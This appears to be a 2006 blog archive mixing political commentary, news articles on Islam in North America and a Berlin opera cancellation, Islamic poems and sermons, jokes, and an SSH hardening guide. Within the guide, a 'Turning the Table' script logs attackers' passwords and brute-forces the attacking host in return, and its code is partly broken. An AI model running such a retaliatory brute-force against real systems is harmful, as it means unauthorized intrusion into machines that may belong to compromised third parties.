Aside from the flimsy foundations, or lack of them, under this line of reasoning, there is in it a residue of, ironically, a peculiarly Jewish moral tenet: support for the underdog. But the failure of attention to the actual qualities of the acts and motives of the parties represents an abysmal descent from sound moral reasoning and is more postmodernist than liberal.

This sort of reasoning is today widespread among college students and professors, under the influence of Foucault and Edward Said and others. Thus we see the weird support for Palestinian militancy and the knee-jerk condemnation of defensive Israeli action among so-called liberals.

To Mr. Bush: A Memo from the Boss

In the first days after the terrible events of 9/11, you stood up in fine form. That catastrophe presented a situation and a cast of characters that played to your strength, your instinct for the role of firm wartime leader. The horrendous deed was committed by men delivered as if from central casting, costumed in the garb of unadorned evil, an enemy fit for a clear-cut morality play, inspiring in all of us the feeling of American righteousness and resolve that you expressed so clearly and forcefully in the immediate wake of the disaster. But you have clouded the moral clarity and debased the American righteousness that the whole world then rallied around. Has there been a moment in American history in which such a clear mandate for expressing the best in America, a sort of ugly gift of history, was so spectacularly squandered?

After a brief steady and inspiring start, your performance, in this field suited to your strengths, needs improvement big time, especially in these areas:

Knowledge and application of the fundamental American values for which we stand, in contrast to our enemies.
Stewardship of the American role and standing in the world: how we’re viewed and the kind of cooperation we get from the international community.

Your particular strengths—determination, single-minded focus, and so on—were called forth by this crisis, and you had every opportunity to shine as a principled war-time president. But even with history playing to your strengths, in these areas you have failed to meet performance expectations.

Moreover, in the meantime there have been other failures, most notably in the following:

The nation’s economy: With help from your Republic congress, you’ve turned a robust surplus into a severe deficit. A cynic might wonder whether y’all did so on purpose to ensure that any future “tax ‘n spend lib’rals” would have only a threadbare, paltry purse for socialist schemes. A somewhat less cynical interpretation would be that you did so out of tough love to help wean the republic from the folly of depending on the gu’mint. Either way, or if it was done out of sheer foolhardiness and your own healthy appetite for top-heavy tax cuts combined with expanding the government programs you favor (a sort of non-tax ‘n spend policy), the result is another one on your watch that deeply injures the nation’s standing.
Nature’s economy, the environment. Your administration’s sluggish and dimwitted response to the physical and scientific realities of global warming is an astounding, monumental accomplishment in the annals of blundering by ideologically-driven government officials.

These are cherry-picked issues your political rivals favor, which is not to say that they are no less failures to be condemned. But you have failed miserably the particular interests and the natural, red-blooded American passions of your own political base, too. You’ve degraded the martial and patriotic spirit of the nation by setting it to serve un-American policies and strategies. In my day, kids playing soldier thought of WWII, a just, moral cause. Bringing us into this quagmire of Iraq with your ill-conceived action, miserable and unadaptive military planning, and failures of intelligence and of cultural knowledge, you have badly strained the moral imagination of the nation, especially our youth. They want to be patriotic and brave in a good cause, which is now hard to do. You have crippled good-willed patriotism. In defence of a failed policy, your ideological apparatchiks have invoked the principle of good intentions, the very ploy they disdain as the refuge of liberal folly. Iraq is a disaster we did not have to start, and as it draws on, the unipolar superpower is revealed as an ill-disposed, vulnerable Goliath, a hegemonic, disingenuous, stupid bully militarily stretched thin. That is not the America I know and love and am a passionately patriotic part of. You have through your blundering taken my country from me and sent an imposter abroad in the world, and I deeply resent it. For the first time in my lifetime, it is possible to imagine American decline.

The irony of course is that you are passionately devoted to the idea of America as perennially and providentially dominant, the ordained leader of a world striving toward freedom. But one must take exception to your notion of American exceptionalism.

We are not morally exceptional through force, torture, and “winning the war on terror” by sacrificing our standards of human rights, freedom from government intrusion, and due process. These standards should apply to us at home and to our treatment of those with whom we fight or deal in the international community. Nor is our exceptionalism properly expressed by the self-righteous pursuit of neo-conservative unilateralism in the world. Rather than fearfully pursing this course, a leader who truly understood what it means to be American would call on us to stand fast in our highest standards of civilized conduct even in facing down barbaric enemies. We do not beat them by using their tactics. The burden and privilege of American exceptionalism is that we risk a certain degree of vulnerability by behaving according to the highest ideals and truly leading. Your message to your fellow citizens should not be that we need to condone and practice torture, rendition, secret prisons and lack of due process in dealing with our terrorist enemies. It should rather be that while we use force intelligently and effectively to respond to attacks and threats, we will win the war for hearts and minds around the world by maintaining our commitments to the democratic values we aspire to spread throughout that world. Our citizens should look favorably upon due process for Khalid Sheik Mohammed and Osama bin Laden, should be willing to forego measures that traduce our civil liberties even should that mean that a vicious terrorist attack takes my life or the life of one I love. If we are faithful to our ideals, every good American slain by terrorists is a hero simply by virtue of living by our highly civilized values in the face of a deep existential threat. I would rather die a martyr to true American values, ideals and civilized practices than live in a nation whose safety depends on the betrayal, distortion or debasement of those very values and practices that make us a model of civilization worth imitating. Your and Mr. Cheney’s, your administration’s, embrace of what Mr. Cheney called “the dark side” is as much, or more, a threat to our nation’s existence than the terrorist threat. They can only kill some of our bodies. You are sacrificing the providentially-conceived essence that makes America America and that makes me proud to be an American.

Mr. Bush, fellow citizen, you are my servant; you work for me. Your job performance needs improvement so badly that if I could fire you today, I would. The message from the boss is this: cease hijacking my country or leave your post, letting someone do the job who respects those for whom he works and who understands in his gut the vision, mission and objectives of this proud and noble organization.

A New Face for Islam in North America

By: Stephanie Simon
Los Angeles Times

Ingrid Mattson had given up God. She had stopped saying her rosaries, stopped taking Communion. She was an atheist, abroad in Paris the summer before her senior year of college.

But she could not stop listening to the Koran.

"Forget it," she told herself. "This can't be happening to me." Yet day after day, she popped the cassette into her Walkman, mesmerized by the chanting and oddly moved by lines such as: "The sun and the moon follow courses computed. And the herbs and the trees both bow in adorationÉ It is he who has spread out the earth for [his]creatures."

When she returned home to Canada after that summer of 1986, Mattson signed up for the only Arabic class she could find. It was full of 8-year-old immigrants, who soon came to resent her for winning so many of the chocolates the teacher awarded top students. Mattson wanted to enjoy hanging out in bars with her brothers, the way she always had. Instead, she found herself at her sewing machine, stitching head scarves. That spring, she gathered several Muslim friends as witnesses and pledged herself to Allah.

It was an unusual move for a white Canadian ex-Catholic. And it set Mattson down a trailblazing path.

About 60,000 Muslims in the U.S. and Canada recently elected Mattson, 43, president of the largest Muslim organization on the continent, an educational and professional association called the Islamic Society of North America. She is the first woman, nonimmigrant or convert to Islam to become president of the group.

Her election comes at a tumultuous time for the estimated 6 million Muslims in the U.S. Nearly 40% of Americans admit prejudice against Muslims, according to a recent poll by USA Today and Gallup. A similar percentage support mandatory identification cards for Muslims. And one in five Americans said they would not want a Muslim neighbor.

Many Muslims are hoping Mattson can soften this fear. She does not speak with a foreign accent. She doesn't wear a veil, though she does cover her head with a thick, dark scarf. Soft-spoken and quick to smile, Mattson is a suburban soccer mom; she cheers at her son's games, helps her daughter with college applications, gardens, hikes, reads the New Yorker, laughs at Paris Hilton's reality TV.

"Many Americans think we didn't arrive in this country until 9/11. She helps people know we're part of the American landscape," said Aneesah Nadir, the president of an Islamic social services agency based in Phoenix.

Such comments were a frequent refrain at the Islamic society's annual convention, which drew more than 32,000 Muslims to this suburb of Chicago earlier this month. Mattson was mobbed by fans wanting to take her picture. One father brought his five daughters from South Carolina to meet her. "She's a visible refutation of stereotypes," said Hasan Aijaz, a college student from Virginia.

Outside the organization, Muslims have greeted Mattson's election more warily.

She's received angry letters from conservatives who resent having a woman in charge. Such critics often cite an ancient hadith, or narrative about the life of the prophet Muhammad, stating that no good will come from entrusting leadership to a woman.

The Islamic left has questioned Mattson's credentials as well. A traditionalist who dresses in modest ankle-length skirts and loose blouses - and who prefers, whenever possible, to avoid shaking men's hands - Mattson pushes women's rights only so far.

She has called for mosques to dismantle any barriers that block women from seeing or clearly hearing the imam during prayer. But she does not support the more radical, feminist notion that women should pray alongside men - or even lead men in prayer. Many Muslims argue that such an arrangement would distract men from God or lead to immoral conduct. Mattson explains her objection this way: The prophet would not have approved.

Mattson's journey to Islam began when she was a teenager in the Canadian town of Kitchener, Ontario. As a girl, she had been the most pious in her family of seven children, but when she entered high school, she began to find bedrock concepts such as the Holy Trinity illogical. The nuns and priests at her Catholic school were unable to answer her questions. "Accept the mystery," they told her. She couldn't.

Though she stayed on at St. Mary's High School, Mattson stopped looking for God.

Years later, during her summer in Paris, Mattson became friendly with several West African Muslims. They introduced her to Islam; her spirit stirred. "What moved me most was the way the Koran described the majesty and beauty of creation," she said.

One of her favorite passages tells of God's handiwork: "He has let free the two bodies of flowing water, meeting together... Out of them come pearls and coral... And his are the ships sailing smoothly through the seas, lofty as mountains."

After graduating from the University of Waterloo, Mattson worked in a refugee camp in Pakistan, where she met her husband, an Egyptian engineer. He took care of their small children while she earned a doctorate in Islamic studies from the University of Chicago. Since 1998, she has been teaching about Islam at Hartford Seminary, a nondenominational Christian institution in Connecticut.

As president of the Islamic Society of North America - an unpaid part-time post - Mattson will lead a diverse organization that trains Muslim leaders, sets standards for hundreds of mosques, helps immigrants adjust to American life and serves as an umbrella uniting associations of Muslim engineers, doctors and other professionals.

She will also be a very visible spokeswoman for the faith - a role she relishes. In particular, she can't wait to refute the notion that Islam is a religion solely "for brown and black people," she said.

"When African Americans make the move to Islam, it's considered valid. When I do, it's considered cultural apostasy, as if somehow I've abandoned my whiteness to become an 'other,' " Mattson said.

In the past, many Muslims - like evangelical Christians before them - argued that they had to isolate themselves from American politics and culture in order to keep their faith pure. In the aftermath of Sept. 11, Mattson argues that Muslims no longer have that luxury.

"We need to form an axis of good with our neighbors," she said. "We're 2% of the American population. How are we going to be effective unless we make alliances?"

Her push for interfaith partnerships got off to a shaky start when the Islamic society invited former Iranian President Mohammad Khatami to address the convention. Jay Tcath, vice president of the Chicago Jewish Federation, accused the organization of "a dereliction of civic responsibility" for honoring Khatami despite his record of human rights abuses.

The Anti-Defamation League also takes issue with the Islamic society for having provided a forum for anti-Semitic language at several conferences over the years, said Deborah Lauter, the group's national civil rights director. The organization's leaders "have been in bed with extremist groups," Lauter said, "[so] we go into these relationships with some serious concerns."

Mattson says her group does not invite speakers "known for offensive statements," but offers "as broad a platform as possible for legitimate views." At the convention's opening seminar, Mattson urged her fellow Muslims to step proudly into mainstream society, to engage their neighbors and promote their good works until Americans stop associating Islam with terror.

"Islamic medical clinics... Islamic ethics. Islamic charity. These are the terms that should come off the tips of tongues, " she told a cheering crowd. "Islamic intellectuals. Islamic peace movements. Islamic human rights... This is who we are!"

Stephanie Simon is Times Staff Writer and can be reached at stephanie.simon@latimes.com

How some Youth view Ramadhan

Another Ramdhan enters
And for some people nothing much has changed
They wake up for sehri
Stuff their faces and back to bed ASAP

Wake up at 12ish
Switch on the Hi Fi with the loud music blasting
Sing along to their favourite tunes
And maybe bust a few moves
To wake themselves up from sleep

Go downstairs and watch the TV
Any music show, Bollywood film or action flick
Will do the trick
And help to pass the hours
Until its time to eat and devour a big iftar

Forget the news or documentaries
Iraq and Afghanistan so depressing and dreary

Maghrib Azan is made on TV and on the walky talky
Time to eat
Been praying in my mind for this moment
No bismillah or thanks to Allah
For the food we have been blessed with
Mum bought it from the local halal grocery
And the Tesco’s down the road

Yummy! The delicacies taste lovely on an empty stomach
Eat your fill like there is no tomorrow
Where’s the tea and jelabbiy
The parents pray maghrib
But the kids are still eating

Appreciation for the chef
With the belching and wind
Time for a nap
All this eating can be tiring

Put on some soft sensual Bollywood tunes
And hit the bed
And pretend to be oblivious and dead to the world around

Wake up after a few hours
Everyone is getting ready for terrawih
20 rakahs and 1 and half hours
Of sheer pain and sweat
Aint for me man
I got things to do

Log onto the internet
Visit my fav sites
Where I chill and flirt with my online mates
Discuss stupidity and silly things like
Have you ever loved and lost
Is it necessary to love someone
Don’t believe me
Then check out this stupidity above
By people

Most of who are Muslims
But we are modern 21st century Muslims

We got Muslim names
We know where we are from
Adam and eve
Not Adam and Steve
We’re not that lost honest

The house feels like a morgue
Dads at the masjid with the old fogeys
Ex gangsters and bad boys
Now reformed characters since they hit 50
Mums at her friends doing her prayers

I’m all alone
Oh woe is me
Put on the music on the PC
Chat to my mates and respond to useless discussions on the net

Do the above describe you or people you know?
Used to be me once upon a time
Until Allah opened my eyes to the truth
Now I’m happy like never before

As Allah swt says in the Quran “Verily in the remembrance of Allah do hearts find contentment”

Please forward widely and post and publish as you wish.

The Simple Truth - Words for the Soul.

Hard times may come to you; you live your life with this simple truth.
Trying to avoid that is really no use, Allah owns me and He owns you.
God brings those trials that come to you, and also blessings just as true.

In this life you know we are passing through this world until we end
And the fruits of all your labors for this life may never reach you.
Seek the reward of Heaven. Subhanallah.
Though all shall pass we know not when from fleeting life to sudden end

The pious ones strive with patience, when all life's pleasures slip away
And for you who achieve this Allah would ease your death for you.

Ask your Lord to help you. Subhanallah.
The pious ones who live with strife, God brings relief in death and life.
Your life will pass as if a moment, in your late years what will you say.

Work while you can, be sincere, and may Allah forgive you.
Follow Islam and you won't lose. Subhanallah.
The people shall deserve it well to dwell in Paradise or Hell.

Work while you can. Be sincere, and may Allah protect you.
Follow Islam and you won't lose.
Subhanallah. With patience Prophets led the way, for goodness till the last of days.

Really Drunk

An Irishman had been drinking at a pub all night. The bartender finally said that the bar is closing. So the Irishman stood up to leave and fell flat on his face. He tried to stand one more time; same result. He figured he'll crawl outside and get some fresh air and maybe that will sober him up.

Once outside he stood up and fell flat on his face. So he decided to crawl the 4 blocks to his home. When he arrived at the door he stood up and again fell flat on his face. He crawled through the door and into his bedroom. When he reached his bed he tried one more time to stand up. This time he managed to pull himself upright, but he quickly fell right into bed and is sound asleep as soon as his head hit the pillow.

He was awakened the next morning to his wife standing over him, shouting, "So, you've been out drinking again!!"

"What makes you say that?" he asked, putting on an innocent look.

"The pub called. You left your wheelchair there again."

The story of Sarah and the Tyrant

Allah said in the Qur'an which means [No one is God except Allah, and on Him let the believers rely].

Relying on Allah is having the trust in your heart in Allah, for, no mobility or immobility occurs except by the will of Allah (nothing happens except by the will of Allah). Hence Prophet Ibrahim peace be upon him relied on Allah and adhered to the order of Allah. He laid his son, the fruit of his heart, on his side to slaughter him in obedience to Allah. He passed the knife on the throat of his son Ismail, however the knife would not cut at all, because Allah did not will for it to cut. Thus Allah protected Ismail and granted Ibrahim a ram, a sheep, from paradise to sacrifice instead, and from that it is Sunnah to sacrifice a goat on this day.

And today in this blessed morning, I shall tell the story of Sarah the wife of Prophet Ibrahim may peace be upon them with the tyrant king who wanted to dishonour her in adultery. That evil king used to take the good looking women that enter his land to commit adultery with them. When Prophet Ibrahim came with his wife to the land of that tyrant king, Sarah was one of the most beautiful women. The tyrant was told about her beauty, so he sent to Ibrahim and asked him: who is that women with you? So Ibrahim was aware of his evil intention and was concerned that if he told him about her he would make an evil trick and kill him and would than take Sarah after that, so Ibrahim told him she is my Sister which is true as he means my sister in Islam. So the king thought that she is not married, so he asked Ibrahim to bring her to his palace. Sarah then entered on that tyrant after she had made Wudu' and had asked Allah to save her from the evil of this king. So when he saw her, he was impressed by her and he extended his arm to grab her but it was immobilized. He asked her to make supplication to cure his arm and that he would not harm her, so she asked Allah for him, then his arm was cured and returned to its original form after it had became immobilized, however this evil tyrant followed his evil temptations and tried again then it got more paralyzed again, so he asked her to make supplication again and I would not harm you, so she asked Allah again for him, then again his arm was freed again. When this tyrant saw this, he returned Sarah to Ibrahim. Sarah then came to her husband Ibrahim and found him praying. He asked her about what happened with her, she told him "Allah stopped the evilness of the Blasphemers"..

Dear brothers in Islam, Allah said in the Qur'an which means [Worship Allah and do not associate partners to him, treat in good the parents, relatives orphans and the needy..] Dear brothers Allah also ordered us to [be Obedient to the parents and do the good deeds with the relatives]. Also visiting the kinship (relatives) is a great merit as Prophet Muhammad urged us to do so.

In this blessed morning and in these great days of the month of Dhul-Hijjah, let us not neglect the good deeds in it. The good doings of khayr has secrets, traces and blessings.

Prophet Muhammad Sallallahu ^Alayhi wa sallam said that "whoever loves that Allah blesses his life, and expand the sustenance on him and to have a good ending let him fear Allah and obey Him and visit his kinship".

Also be cautious from falling into the traps of Satan who would mislead you by saying "So and so does not visit me, I will not visit them. I will treat them as they treat me". This is a reason for not doing this good deed. The beloved Prophet Sallallahu ^Alayhi Wa Sallam said "the one who visits his kinship is the one who visits his relatives when they stop visiting him". From this it's asserted that visiting the kinship that stopped visiting you is better than those who did not, because such is from the good manners.

Brothers in Islam, Imitate the manners of prophet Muhammad, and abide by the Qur'an. Push the anger away by patience, and ignorance by wisdom, and the bad treatments from others by forgiving, and visiting those who don’t' visit you. This brings the hearts to each other and puts them on self-betterment by the will of Allah. I ask Allah to accept your good deeds وكل عام وأنتم بخير وتقبل الله طاعاتكم .

SSH vs Script Kiddies How-to Guide

For Mandriva Linux 10.2, 2005LE

September 2005

Some idiot created a SSH worm that uses a dictionary attack to try to log into a computer over port 22. The worm tries to set up shop on your computer and tries to find the next vulnerable computer. This clogs up networks with bazillions of SSH login attempts.

A number of people created scripts that scan the system log files to identify the IP address of attackers and block them either using TcpWrappers or Netfilter. The problem with these approaches is that it consumes local computer resources. It also creates the risk that you can lock yourself out accidentally - maybe not a problem if the computer is in the next room, but it is a serious concern if the computer is far away on the other side of the globe.

Another solution is to set SSHD to use a different port. This will work, till the attacker adds a port scanner to his worm.

What is needed is a simple solution that consumes the resources of the attacker instead of your own. This little guide shows how to slow down SSH password authentication to accomplish this in a single line of code. This simple modification has been proven to completely defeat the attack, as discussed below.
Get It

You can get the SSH source code from the project pages at http://www.openssh.org. Download and store it somewhere, then make a small one line change and compile.

First we have to ensure that it will in fact compile and sort out any missing dependencies:

$ tar -zxvf open[tab]
$ cd open[tab]
$ ./configure --prefix=/usr --sysconfdir=/etc/ssh
$ make

If you are running Mandriva, then you should not have any issues, but SSH depends on the SSL library, so you have to do a test compile and fix any issues that crop up.
Hack It

The solution is to slow down password logins, but not affect public key logins. This way, if you are using public keys, login is immediate, while if someone uses password logins, he would have to wait a few seconds. This is not a problem to a person hammering away at the keyboard, but it will slow down an automated dictionary attack enormously.

Edit the file auth-passwd.c and add the single line 'sleep(10);' to it, immediately after the variable definitions:

auth_password(Authctxt *authctxt, const char *password)
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;

/* Password authentication delay */

The sleep() function allows the system to schedule other activity and come back a few seconds later. Therefore, this is an efficient way to waste someone else's time.

Now recompile and install, then restart sshd and test the new super slow password login:

$ make
$ su
# make install
# service sshd restart
# exit

$ ssh localhost
...long time passes...

Now you are the proud operator of an official Skr1pt K1dd13 T0rtur3 Mach1n3...
Compile Problems

If you have an older system and you have multiple versions of SSL installed, then compiling SSH may be a rather traumatic experience. I wanted to implement my fix on a Red Hat machine and had to spend a couple hours hacking away at it before it configured and compiled:

#! /bin/bash
# SSHD Compile and Install is just a wee bit problematic.
# The following overrides for OpenSSL gets it going.
# GCC says that the -R option is not recognized,
# so I guess you can leave that out.
# Anyhoo, this works...
LDFLAGS="-I/usr/local/ssl/include -L/usr/local/ssl/lib -R/usr/local/ssl/lib"
export LDFLAGS
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-ssl-dir=/usr/local/ssl
make install

Clearly, the trick is to play around with the various paths defined above, till you get it to work. Some trial and terror...

The big question is of course: Does it work? It sure does.

Before the implementation of this simple one liner, a server could slow down to a crawl while it gets tens of thousands of login attempts, two or three times a day. Now it still gets two or three attacks a day, but the attackers give up after only eight attempts.

# tail -n 10000 /var/log/secure | grep "password"

Sep 7 12:05:34 ns sshd[13324]: Failed password for invalid user lpd
from port 60882 ssh2
Sep 7 12:05:34 ns sshd[13322]: Failed password for invalid user lpd
from port 60811 ssh2
Sep 7 12:05:34 ns sshd[13326]: Failed password for invalid user lpd
from port 60889 ssh2
Sep 7 12:05:35 ns sshd[13328]: Failed password for invalid user lpd
from port 60893 ssh2
Sep 7 12:05:35 ns sshd[13327]: Failed password for invalid user lpd
from port 60890 ssh2
Sep 7 12:05:36 ns sshd[13329]: Failed password for invalid user lpd
from port 60894 ssh2
Sep 7 12:05:37 ns sshd[13334]: Failed password for invalid user lpd
from port 60881 ssh2
Sep 7 12:05:38 ns sshd[13336]: Failed password for invalid user lpd
from port 60896 ssh2

Sep 7 15:05:46 ns sshd[14117]: Failed password for invalid user a
from port 1931 ssh2
Sep 7 15:05:55 ns sshd[14119]: Failed password for invalid user a
from port 2371 ssh2
Sep 7 15:06:06 ns sshd[14121]: Failed password for invalid user a
from port 2805 ssh2
Sep 7 15:06:15 ns sshd[14123]: Failed password for invalid user a
from port 3255 ssh2
Sep 7 15:06:23 ns sshd[14125]: Failed password for invalid user a
from port 3573 ssh2
Sep 7 15:06:26 ns sshd[14127]: Failed password for invalid user a
from port 3692 ssh2
Sep 7 15:06:33 ns sshd[14129]: Failed password for invalid user a
from port 4011 ssh2
Sep 7 15:06:36 ns sshd[14131]: Failed password for invalid user a
from port 4137 ssh2

These dictionary attacks are really lame, starting at 'a' for 'absolutely retarded', yet they do find servers to infect, showing just how many retarded sysadmins there are in the world...

The moral of the story? Use long user names and random passwords, or loooooong passphrases like 'ohmygodtheykilledkenny12 345' or some such.

In general, throttling of network services is a very good way to limit abuse. A simple sleep delay added to any online form submission will prevent abuse, while regular users won't notice anything.
Analysis of the Attack Program

I have subsequently obtained copies of three of these attack scripts. I had to do some debugging to get them to work, but they all depend on libssh and all suffer from the same problems. Essentially, you feed the program an IP address, a list of usernames and passwords and let it go. It then does a complete permutation of the two lists.

One of the scripts is multi threaded, but libssh fails when more than eight threads are enabled. This explains why all attacks come in clumps of eight, since that is the highest number of threads that libssh can run.

It appears that the login timeout is hard coded in libssh and the 10 second sleep() that I have introduced causes libssh to fail on every login attempt. Therefore, this modification is very good and completely defeats the attack.
Other Configuration Improvements

The /etc/ssh/sshd_config file has a number of features that you can use for further protection. First of all, you could disallow all password logins and only rely on public keys, but make sure the public key login works, before disabling password login. You could also set a list of user names that are allowed to use ssh, thereby disallowing all common users, who may have bad quality passwords. Here are a few configuration items to think about:

Port 2222
Protocol 2
PermitRootLogin no
AllowUsers herman webmaster joesoap johndoe
PasswordAuthentication no

Note that you can specify multiple ports and make sure that the new port works through the firewall, before you disable the default port:

Port 22
Port 2222

Change these things with care, since you can lock yourself out!
Turning the Table

This attack is guaranteed to be one on one. Therefore, it is easy to run sshd in debug mode and capture the attacking IP, Username and Password, then do a reverse attack on the originator. As it is very likely that the same script and attack vectors used against you, were also used to subvert the attacking machine, a reversal will eventually yield the login data of the attacker:

#! /bin/bash
# SSH Honeypot
# This script reverses a SSH brute force attack onto the attacker.
# The counter attack uses the same brute force script that the
# attacker is running.
# Assuming that the same data set was used to compromise the attacking
# host, this will eventually yield the username and password of
# the attacking host.

# Modifications required to SSHD:
# We need to make a small modification to SSHD to cause it to
# reveal the password when running in debug mode.
# Add the following line to auth-passwd.c, procedure auth_password():
# debug("auth-passwd.c: Password %s ", password);
# then recompile SSHD.

# Forever
while [ 1 -eq 1 ]
# Run SSHD in debug mode, single threaded
data=`/usr/sbin/sshd -dDe 2>&1 | grep -A 2 "debug1: attempt 3"`

# The $data looks like this:
# data=$'debug1: attempt 3 failures 3rn
# debug1: auth-passwd.c: Password hello rn
# Failed password for root from port 4199 ssh2r'

# Parse the string for the three parameters
# The brute forcer wants some of these in files
# so we echo them to files.
pass=`echo $data | cut -d " " -f 9`
echo $pass > pass
user=`echo $data | cut -d " " -f 14`
echo $user > user
ip=`echo $data | cut -d " " -f 16`
echo $ip > ip

# Reverse the attack
./ssh2_brute -h $ip -u user -p pass -c 1

# Check the result
if [ $? -eq 1 ]
echo IP=$ip, Username=$user, Password=$pass
echo $ip $user $pass >> attackers


exit 0

La Voila!

Berlin Opera Pulled Over Muhammad Scene

By MELISSA EDDY , 09.26.2006, 05:35 PM

From the Associated Press.

A leading opera house called off a production of Mozart's "Idomeneo" that features the severed head of the Prophet Muhammad, setting off a furious debate Tuesday over Islam, freedom of speech and the role of art.

The furor is the latest in Europe over religious sensitivities - following cartoons of the prophet first published in a Danish newspaper and recent remarks by Pope Benedict XVI decrying holy war.

Kirsten Harms, director of Berlin's Deutsche Oper, announced "with great regret" that she had decided to cancel the 3-year-old production after state security officials warned it could provoke dangerous reactions in the current politically charged climate.

After its premiere in 2003, the production by Hans Neuenfels drew widespread criticism over a scene in which King Idomeneo presents the severed heads not only of the Greek god of the sea, Poseidon, but also of Muhammad, Jesus and Buddha.

The severed heads are an addition by director Neuenfels to the 225-year-old opera, which was last performed by the company in March 2004.

Harms defended her decision, which she described as "weighing artistic freedom and freedom of a theater ... against the question of security for people's lives."

But the move immediately provoked strong reactions across Germany.

Outraged politicians called the decision to pull the production "crazy" and "a fatal signal" of caving into extremism. Response from Germany's Islamic community was mixed, with some praising the decision and others calling on Muslims to accept the role of provocation in art.

The leader of Germany's Islamic Council welcomed the move, saying a depiction of Muhammad with a severed head "could certainly offend Muslims."

But in an interview with German radio, Ali Kizilkaya added: "I think it is horrible that one has to be afraid ... That is not the right way to open dialogue."

The leader of Germany's Turkish community said it was time Muslims accepted freedom of expression in art.

"This is about art, not about politics," Kenan Kolat told Bavarian Radio. "We should not make art dependent on religion - then we are back in the Middle Ages."

Neuenfels has insisted his staging not be altered, saying the scene where the king presents the severed heads represents his protest against "any form of organized religion or its founders."

"I stand behind my production and will not change it," Neuenfels told the Berliner Morgenpost in its Tuesday edition.

The opera house's decision comes after the German-born pope infuriated Muslims by quoting the words of a 14th-century Byzantine emperor who characterized some of the teachings of the Prophet Muhammad as "evil and inhuman," particularly "his command to spread by the sword the faith."

Earlier this year, violent protests erupted across the Muslim world after a Danish newspaper published 12 cartoons depicting Muhammad. The caricatures were reprinted by dozens of newspapers and Web sites in Europe and elsewhere, often in the name of freedom of expression.

Islamic law is interpreted to forbid any depiction of Muhammad for fear it could lead to idolatry.

"We know the consequences of the conflict over the (Muhammad) caricatures," Deutsche Oper said in a statement. "We believe that needs to be taken very seriously and hope for your support."

Berlin security officials had warned Harms that staging the opera could "in its originally produced form .... pose an incalculable security risk to the public and employees."

But Germany's interior minister condemned the cancellation.

"That is crazy," said Wolfgang Schaeuble, the country's top security official, speaking to reporters in Washington, D.C. "This is unacceptable."

It is not only Muslims who have been offended by depictions of religion in art.

Last month Madonna sparked criticism from some Roman Catholics in Germany for a show that staged a mock crucifixion. Mel Gibson's 2004 movie, "The Passion of Christ" met with disapproval from some Catholics and some Jews. In 2004, a Birmingham, England, theater canceled its run of "Behzti" after a violent protest by members of the Sikh community.

Still, many in normally open and tolerant Berlin, which has become a home for cutting edge and often contentious artistic productions, cautioned against compromising on issues of freedom of speech and art.

"Our ideas about openness, tolerance and freedom must be lived on the offensive. Voluntary self-limitation gives those who fight against our values a confirmation in advance that we will not stand behind them," said Mayor Klaus Wowereit.

Bernd Neumann, the federal government's top cultural official, said that "problems cannot be solved by keeping silent."

"When the concern over possible protests leads to self-censorship, then the democratic culture of free speech becomes endangered."

Good Morning

This morning when I wakened
And saw the sun above,
I softly said, "Good morning, Lord,
Bless everyone ."

Right away I thought of you
And said a loving prayer,
That He would bless you specially,
And keep you free from care.

I thought of all the happiness
A day could hold in store,
I wished it all for you because
No one deserves it more.

Instruction of life

1. Give people more than they expect and do it cheerfully.
2. Memorize your favorite poem.
3. Don't believe all you hear, spend all you have, or sleepall you want.
4. When you say, "I love you", mean it.
5. When you say, "I'm sorry", look the person in the eye.
6. Be engaged at least six months before you get married.
7. Believe in love at first sight.
8. Never laugh at anyone's dreams.
9. Love deeply and passionately. You might get hurt but it's the only way to live life completely.
10. In disagreements, fight fairly. No name calling.
11. Don't judge people by their relatives.
12. Talk slowly but think quickly.
13. When someone asks you a question you don't want to answer, smile and ask, "Why do you want to know?"
14. Remember that great love and great achievements involve great risk.
15. Call your mom.
16. Say "bless you" when you hear someone sneeze.
17. When you lose, don't lose the lesson.
18. Remember the three R's: Respect for self, Respect for others, Responsibility for all your actions.
19. Don't let a little dispute injure a great friendship.
20. When you realize you've made a mistake, take immediate steps to correct it.
21. Smile when picking up the hone. The caller will hear it in your voice.
22. Marry a man/woman you love to talk to. As you get older, their conversational skills will be as important as any other.
23. Spend some time alone.
24. Open your arms to change, but don't let go of your values.
25. Remember that silence is sometimes the best answer.
26. Read more books and watch less TV.
27. Live a good, honorable life. Then when you get older and think back,
you'll get to enjoy it a second time.
28. Trust in God but lock your car.
29. A loving atmosphere in your home is so important.
Do all you can to create a tranquil harmonious home.
30. In disagreements with loved ones, deal with the current situation.
Don't bring up the past.
31. Read between the lines.
32. Share your knowledge. It's a way to achieve immotality.
33. Be gentle with the earth.
34. Pray. There's immeasurable power in it.
35. Never interrupt when you are being flattered.
36. Mind your own business.
37. Don't trust a man/woman who doesn't close his/her eyes when you kiss.
38. Once a year, go someplace you've never been before.
39. If you make a lot of money, put it to use helping others while you are living. That is wealth's greatest satisfaction.
40. Remember that not getting what you want is sometimes a stroke of luck.
41. Learn the rules then break some.
42. Remember that the best relationship is one where your love for each other is greater than your need for each other.
43. Judge your success by what you had to give up in order to get it.
44. Remember that your character is your destiny.
45. Approach love and cooking with reckless abandon.

Sunday, September 24, 2006

If a person looks at the Mus-haf without moving his lips, will he be rewarded for that?

Excerpts from Islam Questions and Answers: http://islammuslims.com/islam-qa/Volume_1_index.htm
8177: If a person looks at the Mus-haf without moving his lips, will he be rewarded for that?

Some people pick up the Mus-haf and look at it without moving their lips. Can this be called reading Qur'aan? Or is it essential to pronounce the words audibly in order to earn the reward for reading Qur'aan? Will a person be rewarded for looking at the Mus-haf? Please advise us, may Allaah reward you with good.


Praise be to Allaah. There is nothing to prevent a person looking at the Qur'aan without reciting it, in order to ponder its meanings and understand it. But he is not considered to be "reading" Qur'aan when he does that, and he does not earn the reward for reading it unless he pronounces (the words of) the Qur'aan, even if those around him do not hear him. The Prophet (peace and blessings of Allaah be upon him) said:

"Read the Qur'aan, for it will come on the Day of Resurrection to intercede for its companions." (Narrated by Muslim).

What he (peace and blessings of Allaah be upon him) meant by its companions is those who act upon it, as stated in other ahaadeeth. The Prophet (peace and blessings of Allaah be upon him) said: "Whoever reads one letter of the Qur'aan will have one hasanah, and the hasanah will be rewarded tenfold." (Narrated by al-Tirmidhi and al-Daarimi with a saheeh isnaad). And one cannot be counted as reading Qur'aan unless once actually pronounces it.

And Allaah is the source of strength.

